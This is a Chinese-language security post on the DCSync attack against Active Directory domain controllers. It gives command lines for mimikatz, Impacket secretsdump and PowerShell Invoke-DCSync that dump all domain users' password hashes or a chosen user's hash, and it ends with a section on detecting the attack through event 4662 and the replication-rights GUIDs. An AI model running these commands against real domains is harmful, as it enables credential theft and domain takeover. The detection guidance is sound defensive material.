01、简介
DCSync攻击是一种常见的域控攻击方法,利用DCSync导出域内用户的哈希值,本质上就是利用DRS(Directory Replication Service)协议通过 IDL_DRSGetNCChanges 从域控制器复制用户哈希凭据,以便进一步进行利用。
02、DCSync攻击手法
(1)Mimikatz
Github项目地址:
https://github.com/gentilkiwi/mimikatz/
使用方式:
#导出域内所有用户hash
mimikatz.exe privilege::debug "lsadump::dcsync /domain:evil.com /all /csv" exit
#导出指定用户Hash
mimikatz.exe privilege::debug "lsadump::dcsync /domain:evil.com /user:administrator /csv" exit
(2)Impacket
Github项目地址:
https://github.com/SecureAuthCorp/impacke
使用方式:
#导出域内所有用户hash
secretsdump.py ‘evil.com/bypass:[email protected]’
#导出指定用户Hash
secretsdump.py ‘evil.com/bypass:[email protected]’ -just-dc-user ‘administrator’
(3)Powershell
Github项目地址:
https://gist.github.com/monoxgas/9d238accd969550136db
使用方式:
#导出域内所有用户hash
Invoke-DCSync -DumpForest | ft -wrap -autosize
#导出指定用户hash
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
03、DCSync攻击检测
为了检测DCSync攻击,我们在域控上启用审核策略,通过安全事件日志识别DCSync的使用情况。
我们通过administrator 使用mimikatz进行DCSync导出指定用户Hash,在Windows安全日志可以很清楚的发现有两条EventCode:4662, 在Properties里面,有两条特殊的ACL权限:DS-Replication-Get-changes(Rights-GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)、DS-Replication-Get-Changes-All(Rights-GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2),administrator 对 Active Directory 对象执行操作,从而导出了域用户Hash。
我们可以根据日志提取关键特征,构建安全规则,从而实时监测DCSync攻击行为。